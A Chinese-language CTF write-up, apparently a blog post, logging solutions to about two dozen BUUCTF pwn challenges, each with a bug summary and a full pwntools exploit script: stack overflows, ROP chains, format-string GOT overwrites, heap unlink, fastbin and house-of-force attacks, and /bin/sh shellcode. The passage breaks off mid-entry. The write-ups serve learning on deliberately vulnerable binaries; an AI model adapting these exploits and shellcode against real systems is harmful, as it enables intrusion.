pwn | buuctf刷题记录(三)

ciscn_2019_s_9

fgets栈溢出,ret2shellcode

jmp esp返回栈上执行shellcode

需要注意的是可写的shellcode长度,覆盖完返回地址就只有14个字节可写了,shellcode放在下面肯定不够,故只能考虑放在buf变量上段,共有36个字节可写,需要加一个sub esp 40; call esp返回上段执行

from pwn import *

p=remote('node4.buuoj.cn',26830)
context(log_level='debug',arch='i386',os='linux')

jmp_esp=0x8048554
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''

shellcode=asm(shellcode)
print (len(shellcode))  #23

#shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

payload=shellcode.ljust(36,b'\x00')+p32(jmp_esp)
print (len(payload))  # 40

payload+=asm("sub esp,40;call esp")

p.sendline(payload)
p.interactive()

0ctf_2017_babyheap

和前面一样的题

hitcon2014_stkof

堆溢出,unlink,got表泄露和劫持

edit时堆块可以任意溢出,bss段有堆表,没有打印函数

考虑用unlink

  • 第一次edit覆盖堆表为free_got和puts_got
  • 第二次edit往free_got里写入puts_plt
  • free堆块,将puts_got数据泄露出来
  • 第三次edit往free_got里写入system
  • free("/bin/sh")
from pwn import *
p = process('./stkof')
p=remote("node4.buuoj.cn",29302)
context.log_level = 'debug'

elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

def alloc(size):
    p.sendline(str(1))
    p.sendline(str(size))
    p.recvuntil("OK")

def fill(idx,content):
    p.sendline(str(2))
    p.sendline(str(idx))
    p.sendline(str(len(content)))
    p.sendline(content)
    p.recvuntil("OK")

def free(idx):
    p.sendline(str(3))
    p.sendline(str(idx))

alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)

target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += b"a"*0x10

payload += p64(0x30) + p64(0x90)
fill(2,payload)
free(3)

payload = b"a"*0x10
payload += p64(free_got) + p64(puts_got)
fill(2,payload)

payload = p64(puts_plt)
fill(1,payload)
free(2)

puts_addr = u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00')
log.success(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search("/bin/sh").next()

log.success(hex(libc_base))
log.success(hex(system))
log.success(hex(binsh))

payload = p64(system)
fill(1,payload)

fill(4,b'/bin/sh\x00')
free(4)

p.interactive()

需要注意一点:

setbuf()/setvbuf()函数作用:关闭I/O缓冲区,一般为了让程序显示正常,会关闭I/O缓冲区

setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);

但是本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域

picoctf_2018_shellcode

from pwn import *

p=remote('node4.buuoj.cn',28141)

p.sendline(asm(shellcraft.sh()))
p.interactive()

pwnable_hacknote

uaf,堆块复用,数据指针泄露,函数指针篡改

堆元区和数据区复用,修改堆元区中的数据指针和函数指针

注意题目中限制了总的add次数,故最好在同一块被复用的堆块中修改两个指针

from pwn import *
context.log_level='debug'

#p = remote('node4.buuoj.cn',27980)
p=process('./hacknote')
libc = ELF('./libc32-2.23.so')


def add(size,content):
	p.recvuntil('Your choice :')
	p.sendline('1')
	p.recvuntil('Note size :')
	p.sendline(str(size))
	p.recvuntil('Content :')
	p.send(content)

def delete(index):
	p.recvuntil('Your choice :')
	p.sendline('2')
	p.recvuntil('Index :')
	p.sendline(str(index))

def show(index):
	p.recvuntil('Your choice :')
	p.sendline('3')
	p.recvuntil('Index :')
	p.sendline(str(index))

add(0x80,b'aaaa')
add(0x80,b'bbbb')
gdb.attach(p)
delete(1)
delete(0)

payload = p32(0x804862b)+p32(puts_got)
add(8,payload)

show(1)
free_addr = u32(p.recv(4))

offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset

delete(2)
payload = p32(system_addr) + b';sh\0'
add(8,payload)

show(1)

p.interactive()

roarctf_2019_easy_pwn

off by one,chunk extend overlap,unsortedbin leak,fastbin attack,realloc调整堆栈

通过溢出一字节修改size,扩展堆块造成重叠,利用unsortedbin泄露libc,fastbin attack任意地址分配,从而改写malloc_hook为one_gadget

需要注意如果直接将malloc_hook改为one_gadget,不符合one_gadget的要求

image-20230717220458315

可以通过__libc_realloc函数中的push指令,来调整esp,使得满足[rsp+0x70] == NULL的要求

image-20230718081015947

如上图所示,在malloc_hook处写入__libc_realloc+offset的地址,在realloc_hook处写入one_gadget地址,malloc后,会执行一系列push指令,抬高esp,然后再跳去执行realloc_hook处的one_gadget,通过调整offset,可以满足[rsp+0x70] == NULL的要求

image-20230717221028882

from pwn import *                                                                                                                                                                                                                                            
#r=remote('node4.buuoj.cn',28969)
r=process('./roarctf_2019_easy_pwn')
#libc=ELF('./libc64-2.23.so')
libc=ELF('./libc.so.6')
context.log_level="debug"

def add(size):
    r.recvuntil('choice: ')
    r.sendline('1')
    r.recvuntil('size:')
    r.sendline(str(size))

def edit(index,size,data):
    r.recvuntil('choice: ')
    r.sendline('2')
    r.recvuntil('index:')
    r.sendline(str(index))
    r.recvuntil('size:')
    r.sendline(str(size))
    r.recvuntil('content:')
    r.send(data)
 
def delete(index):
    r.recvuntil('choice: ')
    r.sendline('3')
    r.recvuntil('index:')
    r.sendline(str(index))
 
def show(index):
    r.recvuntil('choice: ')
    r.sendline('4')
    r.recvuntil('index:')
    r.sendline(str(index))  

malloc_hook=libc.symbols['__malloc_hook']
realloc_hook=libc.symbols['__libc_realloc']

print (hex(malloc_hook))
print (hex(realloc_hook))

#gdb.attach(r,"b calloc")

add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3

#gdb.attach(r)

edit(0,34,b'a'*0x10+p64(0x20)+p8(0xa1))#off by one 
#gdb.attach(r)

edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check 
#gdb.attach(r)

delete(1)
add(0x90)#idx1 chunk overlap

edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))

edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check 
#gdb.attach(r)

delete(1)
add(0x90)#idx1 chunk overlap

edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))

delete(2)
show(1)

r.recvuntil("content: ")
r.recv(0x20)
libc_base=u64(r.recv(6).ljust(8,b"\x00"))-0x3c4b78

print ("libc_base:"+hex(libc_base))

add(0x80)

edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))

delete(2)

edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)

add(0x60)

add(0x60)#idx4
gdb.attach(r)
pause()

#one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
one_gadgets=[0x45216,0x4526a,0xf1247,0xf02a4]
edit(4,27,b'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4)) 
add(0x60)
r.interactive()

jarvisoj_level5

read栈溢出,ret2libc

write泄露libc,getshell

from pwn import*

r=remote('node4.buuoj.cn',25594)
elf=ELF('./level3_x64')

main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1

write_got=elf.got['write']
write_plt=elf.plt['write']

payload=b'a'*(0x80+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
r.recvuntil('\n')
r.sendline(payload)
write_addr=u64(r.recv(8))
print (hex(write_addr))

offset=write_addr-0xf72b0

system=offset+0x45390
bin_sh=offset+0x18cd57

payload=b'a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
r.sendline(payload)
r.interactive()

ciscn_2019_es_7

read栈溢出,srop

from pwn import *
# p = process("./ciscn_2019_es_7")
p=remote("node4.buuoj.cn",27298)
context.log_level = 'debug'
context.arch = 'amd64'
mov_rax_59 = 0x00004004E2
part1 = 0x0040059A
part2 = 0x000400580
back = 0x04004ED
pop_rdi = 0x00000000004005a3
syscall = 0x0000000000400501

payload = b'a'*0x10 + p64(back)
p.sendline(payload)
stack = u64(p.recvuntil("\x7f")[-6:]+b'\x00\x00')
binsh = stack - 0x118
log.success(hex(binsh))
# gdb.attach(p)
# pause()
pop_rax_15 = 0x004004DA

sigFrame = SigreturnFrame()
sigFrame.rax = constants.SYS_execve
sigFrame.rdi = binsh
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall
payload = b'/bin/sh\x00' * 2
payload += p64(pop_rax_15)+p64(syscall)+bytes(sigFrame)
p.sendline(payload)
p.interactive()

cmcc_pwnme2

gets栈溢出,ret2text

两种方法:

  • 用gets往bss段上读入"flag"字符串
from pwn import *

p = remote('node3.buuoj.cn',25200)
elf=ELF('./pwnme2')

exec_string=0x080485cb
string=0x0804a060
gets=elf.sym['gets']

p.recvuntil('Please input:\n')

payload='a'*(0x6c+4)+p32(gets)+p32(exec_string)+p32(string)

p.sendline(payload)
p.sendline('flag')
p.interactive()
  • 用add_home,add_flag在bss段上拼接"flag"字符串
from pwn import *

p = remote('node3.buuoj.cn',25200)
elf=ELF('./pwnme2')

exec_string=0x080485cb
string=0x0804a060
gets=elf.sym['gets']

p.recvuntil('Please input:\n')

payload=‘a’*(0x6c+4)+p32(add_home)+p32(pop_ebx)+p32(0xDEADBEEF)+p32(add_flag)+p32(pop_2个寄存器)+p32(0xCAFEBABE)+p32(0xABADF00D)+p32(exec_string)

p.sendline(payload)
p.sendline('flag')
p.interactive()

picoctf_2018_got_shell

任意地址写

from pwn import *
p=remote('node3.buuoj.cn',25901)

elf=ELF('./PicoCTF_2018_got-shell ')
puts_got=elf.got['puts']
win_addr=0x0804854B

p.sendlineafter("Where would you like to write this 4 byte value?", hex(puts_got))

p.recv()
p.sendline(hex(win_addr))

p.interactive()

mrctf2020_easy_equation

printf格式化字符串可控,任意地址写

from pwn import *
#p = remote('node4.buuoj.cn',25406)
p = process("./mrctf2020_easy_equation")

judge = 0x60105C
payload = b"AA" + b"%9$nAAA" + p64(judge)
p.sendline(payload)

p.interactive()

npuctf_2020_easyheap

off by one,chunk overlap extend,数据指针篡改,got表泄露和篡改

from pwn import *
# p = process("./npuctf_2020_easyheap")
p = remote("node4.buuoj.cn",26001)
context.log_level = 'debug'

elf = ELF("./npuctf_2020_easyheap")
# libc = ELF("./libc-2.27.so")
# p = process(['./npuctf_2020_easyheap'],env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libc64-2.27.so")
atoi_got = elf.got['atoi']
free_got = elf.got['free']

def cmd(choice):
	p.recvuntil("Your choice :")
	p.sendline(str(choice))

def create(size,content):
	cmd(1)
	p.recvuntil("only) :")
	p.sendline(str(size))
	p.recvuntil("Content:")
	p.sendline(content)

def edit(idx,content):
	cmd(2)
	p.recvuntil("Index :")
	p.sendline(str(idx))
	p.recvuntil("Content:")
	p.sendline(content)

def show(idx):
	cmd(3)
	p.recvuntil("Index :")
	p.sendline(str(idx))

def delete(idx):
	cmd(4)
	p.recvuntil("Index :")
	p.sendline(str(idx))

create(0x18,b"aaaa")
create(0x18,b"aaaa")

payload = b'/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)
edit(0,payload)

delete(1)
payload = b'a' * 0x20 + p64(0x38) + p64(free_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil("\x7f")[-6:]+b'\x00\x00')

log.success(hex(free_addr))
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
log.success(hex(libc_base))
log.success(hex(system))

edit(1,p64(system))
# gdb.attach(p)
# pause()
delete(0)
p.interactive()

wdb_2018_2nd_easyfmt

printf格式化字符串可控,任意地址读写

from pwn import *

# p = process("./wdb_2018_2nd_easyfmt")
p=remote("node4.buuoj.cn",29961)
context.log_level = 'debug'
context.arch = 'i386'
elf = ELF("./wdb_2018_2nd_easyfmt")
libc = ELF("./libc23-2.23.so")

p.recvuntil("Do you know repeater?")
payload = p32(elf.got['printf']) + "%6$s"
p.sendline(payload)
printf_addr = u32(p.recvuntil("\xf7")[-4:])
print(hex(printf_addr))
libc_base = printf_addr - libc.sym['printf']

system = libc_base + libc.sym['system']
printf_got = elf.got['printf']
offset = 6
log.success(hex(printf_got))
payload = fmtstr_payload(offset,{printf_got:system})
p.sendline(payload)
p.sendline("/bin/sh\x00")

# gdb.attach(p)
# pause()
p.interactive()

hitcontraining_bamboobox

堆溢出,house of force,任意地址写

edit任意溢出,有个magic函数,考虑改写函数指针

任意地址写的话可以用unlink,也可以用house of force

程序一开始申请了一个堆块,里面存放了一个函数指针,用house of force可以很方便的控制这个堆块

image-20230719084506462

  • 首先申请一个堆块用于溢出,将topchunk size改为0xffffffffffffffff
alloc(0x30, b"aaaa")
change(0, b"a"*0x38+p64(0xffffffffffffffff))

注意用于溢出的堆块可以申请大一点,如果太小的话,目标堆块离topchunk太近,topchunk就需要切割非常大的块,剩下的部分不足以再次分配

image-20230719192114408

如上图所示再次申请堆块时,topchunk就不够用了,没通过最小值检验,只能调用sysmalloc,就会报下面的错误

[#2] 0x7fc2caba0408 → __malloc_assert(assertion=0x7fc2cac940c0 "(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)", file=0x7fc2cac90ae6 "malloc.c", line=0x95b, function=0x7fc2cac948d8 <__func__.11526> "sysmalloc")
  • 然后计算一下偏移,申请堆块的大小= - (目标堆块同topchunk的偏移+0x10),这样就能将av->top指向目标地址处了
offset = -(0x20+0x40+0x10)
alloc(offset, b"bbbb")
  • 再申请一个小块,拿下目标堆块
alloc(0x18, p64(0)+p64(magic))

完整EXP如下

from pwn import *
p = remote("node4.buuoj.cn", 27159)
#p = process('./bamboobox')
context.log_level = 'debug'

magic = 0x00400D49 

def show():
    p.recvuntil("Your choice:")
    p.sendline(str(1))

def alloc(size,content):
    p.recvuntil("Your choice:")
    p.sendline(str(2))
    p.recvuntil("length of item name:")
    p.sendline(str(size))
    p.recvuntil("name of item:")
    p.sendline(content)

def change(idx,content):
    p.recvuntil("Your choice:")
    p.sendline(str(3))
    p.recvuntil("index of item:")
    p.sendline(str(idx))
    p.recvuntil("length of item name:")
    p.sendline(str(len(content)))
    p.recvuntil("new name of the item:")
    p.sendline(content)

def free(idx):
    p.recvuntil("Your choice:")
    p.sendline(str(4))
    p.recvuntil("index of item:")
    p.sendline(str(idx))

def exit():
    p.recvuntil("Your choice:")
    p.sendline(str(5))


alloc(0x30, b"aaaa")
change(0, b"a"*0x38+p64(0xffffffffffffffff))
offset = -(0x20+0x40)-0x10
alloc(offset, b"bbbb")
alloc(0x18, p64(0)+p64(magic))
exit()

p.interactive()

远程没有那个flag目录,故不能用magic,还是老老实实unlink拿shell吧

from pwn import *                                                                                                                                                                                                                                           
p = process('./bamboobox')
p=remote("node4.buuoj.cn",27159)
context.log_level = 'debug'

elf = ELF("./bamboobox")
libc = ELF("./libc64-2.23.so")

atoi_got = elf.got['atoi']

def show():
    p.recvuntil("Your choice:")
    p.sendline(str(1))

def alloc(size,content):
    p.recvuntil("Your choice:")
    p.sendline(str(2))
    p.recvuntil("length of item name:")
    p.sendline(str(size))
    p.recvuntil("name of item:")
    p.sendline(content)

def change(idx,content):
    p.recvuntil("Your choice:")
    p.sendline(str(3))
    p.recvuntil("index of item:")
    p.sendline(str(idx))
    p.recvuntil("length of item name:")
    p.sendline(str(len(content)))
    p.recvuntil("new name of the item:")
    p.sendline(content)

def free(idx):
    p.recvuntil("Your choice:")
    p.sendline(str(4))
    p.recvuntil("index of item:")
    p.sendline(str(idx))

alloc(0x30,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")

target = 0x6020c8   #not be last
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += b"a"*0x10
payload += p64(0x30) + p64(0x90)
change(0,payload)
free(1)

payload = p64(0) * 2
payload += p64(0x30) + p64(atoi_got)

change(0,payload)
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+b'\x00\x00')
log.success(hex(atoi_addr))

libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']

payload = p64(system)
change(0,payload)
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")

p.interactive()

mrctf2020_shellcode_revenge

可见字符shellcode

输入shellcode直接执行,要求输入的shellcode是可见字符

用到一个shellcode编码工具alpha3

git clone https://github.com/TaQini/alpha3.git

用alpha3对pwntools直接生成的shellcode进行编码

python ./ALPHA3.py x64 ascii mixedcase rax --input="存储shellcode的文件" > 输出文件

使用编码后的shellcode

from pwn import *

r = remote("node3.buuoj.cn",29334)
context(arch = 'amd64', os = 'linux', log_level = 'debug')
r.recvuntil("Show me your magic!\n")

shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
payload=shellcode_64

r.send(payload)
r.interactive()

picoctf_2018_can_you_gets_me

gets栈溢出,ret2syscall

静态链接,可以直接用ROPgadget生成payload

ROPgadget --binary PicoCTF_2018_can-you-gets-me  --ropchain

EXP如下:

from pwn import *
from struct import pack

p = remote('node4.buuoj.cn',26706)
# p = process("./PicoCTF_2018_can-you-gets-me")


def payload():
	offset = 0x18
	p = b'A' * (offset + 4)
	p += pack('<I', 0x0806f02a) # pop edx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080b81c6) # pop eax ; ret
	p += b'/bin'
	p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806f02a) # pop edx ; ret
	p += pack('<I', 0x080ea064) # @ .data + 4
	p += pack('<I', 0x080b81c6) # pop eax ; ret
	p += b'//sh'
	p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806f02a) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x08049303) # xor eax, eax ; ret
	p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080de955) # pop ecx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x0806f02a) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x08049303) # xor eax, eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0806cc25) # int 0x80
	return p

shell = payload()
p.send(shell)
p.interactive()

actf_2019_babystack

read栈溢出,栈劫持,ret2libc

只能溢出0x10个字节

但是提供了栈上buf变量的地址,可用于栈劫持

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './babystack'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 25664)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.recvuntil("Welcome to ACTF's babystack!")

r.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')

r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret = 0x400A18
main_addr = 0x4008F6
pop_rdi_ret = 0x0000000000400ad3

p1 = b'a' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p1 = p1.ljust(0xd0, b'\x00')
p1 += p64(message_addr) + p64(leave_ret)
r.send(p1)

puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('puts_addr = ' + hex(puts_addr))
libc = ELF('./libc64-2.27.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

r.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')

r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')

ret = 0x400A4F

#p2 = b'a' * 8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
p2 = b'a' * 8 + p64(ret) + p64(one_gadget)
p2 = p2.ljust(0xd0, b'\x00')
p2 += p64(message_addr) + p64(leave_ret)
r.send(p2)

r.interactive()

suctf_2018_basic_pwn

scanf栈溢出,ret2text

from pwn import *

r=remote('node4.buuoj.cn',29697)
flag_addr=0x401157
payload=b'a'*(0x110+8)+p64(flag_addr)
r.sendline(payload)

r.interactive()

inndy_echo

printf格式化字符串可控,got表篡改

from pwn import *

target = 0x804a010
system = 0x8048400
p = process("./echo")
payload=fmtstr_payload(7,{target:system},write_size = "byte")
p.sendline(payload)
gdb.attach(p)
pause()
p.sendline("/bin/sh\x00")

p.interactive()

x_ctf_b0verfl0w

fgets栈溢出,jmp esp,栈上写汇编

没开NX,并且有jmp esp,可以将shellcode布置到栈上

不够空间写shellcode,可以把shellcode写到返回地址上方,然后通过sub esp, jmp esp跳到低地址执行

payload如下:

sub_esp_jmp=asm('sub esp,0x28;jmp esp')
payload=shellcode+(0x20-len(shellcode))*b'a'+b'bbbb'+p32(jmp_esp)+sub_esp_jmp
from pwn import *
context.arch='i386'
# r = process('./b0verfl0w')
r = remote("node4.buuoj.cn", 27802)

shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"

print len(shellcode)

sub_esp_jmp=asm('sub esp,0x28;jmp esp')
jmp_esp=0x08048504

payload=shellcode+(0x20-len(shellcode))*b'a'+b'bbbb'+p32(jmp_esp)+sub_esp_jmp

r.sendline(payload)
r.interactive()

picoctf_2018_leak_me

栈变量泄露

将name变量填满,打印name时会将password一并带出

from pwn import *

context.log_level = 'debug'
#p = process("./leak_me")
p = remote("node4.buuoj.cn", 28055)
p.recvuntil("What is your name?")
p.sendline("A"*250 + 5*"B")
p.recvuntil("BBBBB,")
password = p.recvuntil("\n")
print(password)

p.interactive()

堆溢出,unlink

from pwn import *                                                                                                                                                                                                                                           
p = process('./bamboobox')
p=remote("node4.buuoj.cn",27965)
context.log_level = 'debug'

elf = ELF("./bamboobox")
libc = ELF("./libc64-2.23.so")

atoi_got = elf.got['atoi']

def show():
    p.recvuntil("Your choice:")
    p.sendline(str(1))

def alloc(size,content):
    p.recvuntil("Your choice:")
    p.sendline(str(2))
    p.recvuntil("length of item name:")
    p.sendline(str(size))
    p.recvuntil("name of item:")
    p.sendline(content)

def change(idx,content):
    p.recvuntil("Your choice:")
    p.sendline(str(3))
    p.recvuntil("index of item:")
    p.sendline(str(idx))
    p.recvuntil("length of item name:")
    p.sendline(str(len(content)))
    p.recvuntil("new name of the item:")
    p.sendline(content)

def free(idx):
    p.recvuntil("Your choice:")
    p.sendline(str(4))
    p.recvuntil("index of item:")
    p.sendline(str(idx))

alloc(0x30,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")

target = 0x6020c8   #not be last
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += b"a"*0x10
payload += p64(0x30) + p64(0x90)
change(0,payload)
free(1)

payload = p64(0) * 2
payload += p64(0x30) + p64(atoi_got)

change(0,payload)
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+b'\x00\x00')
log.success(hex(atoi_addr))

libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']

payload = p64(system)
change(0,payload)
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")

p.interactive()

wustctf2020_easyfast

UAF,Fastbin Attack

from pwn import*
context.log_level='debug'
io = process('./easyfast')
def debug():
    gdb.attach(io)
    pause()
def creat(size):
    io.recvuntil("choice>")
    io.sendline("1")
    io.recvuntil("size>")
    io.sendline(str(size))
def edit(index,value):
    io.recvuntil("choice>")
    io.sendline("3")
    io.recvuntil("index>")
    io.sendline(str(index))
    io.send(payload)
def free(index):
    io.recvuntil("choice>")
    io.sendline("2")
    io.recvuntil("index>")
    io.sendline(str(index))
creat(0x40)
creat(0x40)
free(0)
target_addr = 0x602080    
payload = p64(target_addr)
edit(0,payload)
creat(0x40)
creat(0x40)
payload=p64(0)
edit(3,payload)
io.recvuntil("choice>")
io.sendline("4")
io.interactive()

wustctf2020_name_your_cat

scanf栈溢出

输入偏移直接打返回地址到backdoor

from pwn import *

p=remote("node4.buuoj.cn",26558)

shell_addr=0x80485cb

p.sendlineafter('Name for which?\n>','7')
p.sendlineafter("Give your name plz: ",p32(shell_addr))
for i in range(4):
    p.sendline('1')
    p.sendline('aaa')

p.interactive()

axb_2019_fmt64

64位printf格式化字符串漏洞,任意地址读写

64位的printf格式化字符串漏洞利用,先泄露got后篡改

  • 泄露got,64位printf要考虑got地址"\x00"截断,故地址只能放到后面
#payload1 = p64(puts_got)+"%08$s" 
payload1 = b"%9$s" + b"AAAA" + p64(puts_got)
  • 篡改got,64位got里需要放一个大地址,故只能逐个字节写
high_sys = (system_addr >> 16) & 0xff
low_sys = system_addr & 0xffff
payload2 = b"%" + bytes(str(high_sys - 9), "utf-8") + b"c%12$hhn" + b"%" + bytes(str(low_sys - high_sys), "utf-8") + b"c%13$hn"
payload2 = payload2.ljust(32,b"A") + p64(strlen_got + 2) + p64(strlen_got)

最终EXP:

from pwn import * 

context.log_level='debug'

#io = process('./axb_2019_fmt64')
io = remote("node4.buuoj.cn",29211)
elf = ELF("./axb_2019_fmt64")
libc = ELF("./libc.so")
puts_got = elf.got["puts"]
sprintf_got = elf.got["sprintf"]
strlen_got = elf.got["strlen"]
print (hex(puts_got))

#payload1 = p64(puts_got)+"%08$s" 
payload1 = b"%9$s" + b"AAAA" + p64(puts_got)
io.sendafter("Please tell me:",payload1)
print(io.recvuntil("Repeater:"))
puts_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))
print("puts_addr ---> ",hex(puts_addr))

libcbase = puts_addr - libc.sym["puts"]
system_addr = libcbase + libc.sym["system"]
print("system_addr ---> ", hex(system_addr))

high_sys = (system_addr >> 16) & 0xff
low_sys = system_addr & 0xffff

payload2 = b"%" + bytes(str(high_sys - 9), "utf-8") + b"c%12$hhn" + b"%" + bytes(str(low_sys - high_sys), "utf-8") + b"c%13$hn"
payload2 = payload2.ljust(32,b"A") + p64(strlen_got + 2) + p64(strlen_got)

io.sendafter("Please tell me:",payload2) 

payload3 = b';/bin/sh\x00'

io.sendafter("Please tell me:",payload3)

io.interactive()
io.close()

cmcc_pwnme1

read栈溢出

from pwn import *

#r=process('./pwnme1')
r=remote('node4.buuoj.cn',28809)
elf=ELF('./pwnme1')
libc=ELF("./libc.so")

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']

#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload=b'a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)

#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc_base=puts_addr-libc.sym['puts']
sys_addr=libc_base+libc.sym['system']
bin_addr=libc_base+libc.search("/bin/sh").__next__()

r.recvuntil('Exit')
r.sendline('5')
payload=b'a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)

r.interactive()

axb_2019_brop64

read栈溢出

from pwn import *

context.log_level="debug"
#p=process('./axb_2019_brop64')
p=remote('node4.buuoj.cn',27617)
elf=ELF('./axb_2019_brop64')
libc = ELF("./libc.so")

main=0x4007d6
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400963	

p.recvuntil('Please tell me:')
payload=b'a'*(0xd0+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)

puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))
success('puts_addr:'+hex(puts_addr))

libc_base=puts_addr-libc.sym['puts']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").__next__()

payload=b'a'*0xd8+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
p.sendline(payload)

p.interactive()

Not Bad

read栈溢出,ret2shellcode,orw

seccomp-tools查看可用的系统调用,orw可以

有jmp_esp gadget,但是buf长度不够,考虑将shellcode写到程序一开始分配的mmap地址处

故栈上rop链为:

